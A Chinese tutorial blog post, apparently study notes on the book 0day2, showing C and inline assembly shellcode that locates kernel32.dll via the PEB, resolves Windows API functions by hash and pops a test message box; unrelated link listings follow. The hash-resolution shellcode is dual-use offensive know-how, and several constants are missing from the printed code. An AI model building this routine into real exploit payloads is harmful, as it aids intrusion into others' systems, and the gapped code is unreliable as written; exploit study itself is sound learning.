旧书重温:0day2【4】动态获取函数地址
通过以上3篇文章的学习,我们已经可以获取到kernel32.dll的地址了下一步 我们就是获取几个重要的函数
1.GetProcAddress 2.LoadLibrary 有了这两个函数很多函数都可以找到了,这节的目的最终就是找到这两个函数,为了便于测试和验证我们还要动态获取下MessageBoxA函数,最后弹出个对话窗口,还要安全退出那就要用到ExitProcess。
那么咱们就结合0day2第三章的知识,通过hash来查找的相应的函数名称,再间接获取函数地址
首先我们先来找到hash
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fname)
{
printf("%s",fname);
DWORD dret = ;
while(*fname)
{
dret = ((dret<<)|(dret>>));
dret += *fname;
fname++;
}
printf(" function`s hash is %.8x\n",dret);
return dret;
}
int main(int argc, char* argv[])
{
//char fname[]={"MessageBoxA"};
//DWORD dret = GetHash(fname);
Gethash("ExitProcess");
GetHash("MessageBoxA");
GetHash("LoadLibraryA");
GetHash("GetProcAddress");
return ;
}
MessageBoxA function`s hash is 1e380a6a
ExitProcess function`s hash is 4fd18963
LoadLibraryA function`s hash is 0c917432
GetProcAddress function`s hash is bbafdf85
代码执行结果。
nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
mov ebx,fs:[0x30]
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
mov ecx,[ecx] // 获取地2个链表
mov ecx,[ecx] // 获取第三个链表 win7 下必须加这一行, xp下注释这行
mov ebp,[ecx +0x08] find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
以上代码可以在win7下成功运行,只是不兼容xp,xp下测试要注释掉31行处。
所以我们还得想办法。
解决xp win7兼容问题,以下代码来自看雪 http://bbs.pediy.com/showthread.php?t=122260&highlight=next_module 感谢cryin
但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址; 具体代码实现方法:
;find kernel32.dll
find_kernel32:
push esi
xor ecx, ecx
mov esi, [fs:ecx+0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov eax, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx //判断下 12 字符处是否为字符串结尾, kernel32.dll 就是12个长度
jne next_module
pop esi
Ret
经过改造和测试(xp win7下测试通过的代码)的汇编代码
// 兼容win7 xp 的获取kernel32.dll地址,查找所需函数并弹窗的测试
_asm
{
nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
find_kernel32:
mov ebx,fs:[edx + 0x30] // 加上这个 edx 可以缩短shellcode长度,还没有00
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
//mov ecx,[ecx] // 获取地2个链表
//mov ecx,[ecx] // 获取第三个链表
push edi
push esi
next_module: mov ebp,[ecx +0x08] // dll 的地址
mov edi,[ecx+0x20] // AddressOfNames
mov ecx,[ecx]
cmp [edi+*],dx
jne next_module pop esi
pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
}
此代码兼容xp_win7 弹窗
接下来我们 提取shellcode,并结合第一节课,做成功溢出的实验
感谢 failwest、cryin
----------------------------------------------------
| QQ252738331
| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)
----------------------------------------------------
旧书重温:0day2【4】动态获取函数地址的更多相关文章
- .Net CLR GC动态获取函数头地址,C++的骚操作(慎入)
前言: 太懒了,从没有在这里正儿八经的写过文章.看到一些人的高产,真是惭愧.决定稍微变得不那么懒.如有疏漏,请指正. .net的GC都谈的很多了,本篇主要是剑走偏锋,聊聊一些个人认为较为核心的细节方面 ...
- php中如何动态获取函数的参数
php动态获取函数参数 一.总结 一句话总结:a.PHP 在用户自定义函数中支持可变数量的参数列表.其实很简单,只需使用 func_num_args() , func_get_arg() ,和 fun ...
- 1. 通过DHCP服务器动态获取IP地址之后无法上网的解决方法
故障:内网正常,在同一个局域网内的其它PC端通过DHCP获取IP地址并且可以正常上网. 1.通过wireshark抓包,使用ipconfig /renew时,wireshark内出现DHCP请求服务, ...
- 001_centos7配置网络动态获取IP地址
笔者今天刚装完centos7的虚拟机,发现无法获取IP地址,经过网上查询资料,发现centos7是默认没有网络配置的,需要手工配置. 而centos7与centos6不同,没有了config命令,所以 ...
- php动态获取函数参数
PHP 在用户自定义函数中支持可变数量的参数列表.其实很简单,只需使用 func_num_args() , func_get_arg() ,和 func_get_args() 函数即可. 可变参数并 ...
- PHP实现动态获取函数参数的方法
1. func_num_args — 返回传入函数的参数总个数 int func_num_args ( void ) 示例 <?php function demo () { $numargs = ...
- FL2440 rt3070模块station模式动态获取IP地址
---------------------------------------------------------------------------------------------------- ...
- 日志系统实战(二)-AOP动态获取运行时数据
介绍 这篇距上一篇已经拖3个月之久了,批评自己下. 通过上篇介绍了解如何利用mono反射代码,可以拿出编译好的静态数据.例如方法参数信息之类的. 但实际情况是往往需要的是运行时的数据,就是用户输入等外 ...
- 使用Mono Cecil 动态获取运行时数据 (Atribute形式 进行注入 用于写Log) [此文报考 xxx is declared in another module and needs to be imported的解决方法]-摘自网络
目录 一:普通写法 二:注入定义 三:Weave函数 四:参数构造 五:业务编写 六:注入调用 7. 怎么调用别的程序集的方法示例 8. [is declared in another module ...
随机推荐
- HDU - 6333 Problem B. Harvest of Apples (莫队+组合数学)
题意:计算C(n,0)到C(n,m)的和,T(T<=1e5)组数据. 分析:预处理出阶乘和其逆元.但如果每次O(m)累加,那么会超时. 定义 S(n, m) = sigma(C(n,m)).有公 ...
- SqlHelper简单实现(通过Expression和反射)4.对象反射Helper类
ObjectHelper的主要功能有: 1.通过反射获取Entity的实例的字段值和表名,跳过自增键并填入Dictionary<string,string>中. namespace RA. ...
- IE6/7 下:inline-block解决方案
6/IE7下:inline-block解决方案 IE6/IE7下对display:inline-block的支持性不好. 1.inline元素的display属性设置为inline-block时, ...
- centos 7 install virtualbox
from:https://wiki.centos.org/HowTos/Virtualization/VirtualBox Installing VirtualBox cd /etc/yum.repo ...
- minicom退出方法【转】
本文转载自:https://blog.csdn.net/jhyworkspace/article/details/53572284 1)需使用Ctrl+a 进入设置状态2)按z进入设置菜单(1)S键: ...
- ThinkPHP3.2添加scws中文分词
前言 前一段时间,公司网站做站内搜索,只简单针对输入的文字进行搜索,作全匹配检索,搜索出来的内容很少.如何达到模糊搜索,匹配到更多的内容成了需要解决的问题.于是,今天想到可以做分词检索,如何对输入的一 ...
- PHP 开发环境搭建
1. PHP (1) download PHP and extra the zip file to the folder “C:\tools\php” (2) add the path “;C:\to ...
- scala学习手记3 - var和val
scala中用var和val定义变量都是可以的. 用val定义的变量是不可变的,被初始化后值就固定下来,不可以再被修改(这类似于java中的final关键字):用var定义的变量是可变的,可以任意修改 ...
- Android View的生命周期
View生命周期相关方法 View是什么?官方源码注释中的定义:这个类是用户接口的基础构件.View表示屏幕上的一块矩形区域,负责绘制这个区域和事件处理. View是所有widget类的基类,Widg ...
- [日常训练]Z国特色社会路
Description 小$W$非常喜欢社会主义,这天他开始研究它的优越性. 他发现它们国家十分乐于修建特色的社会主义道路.具体的说,$Z$国有$n$座城市,由$m$条有向边连接,城市从$1$编号. ...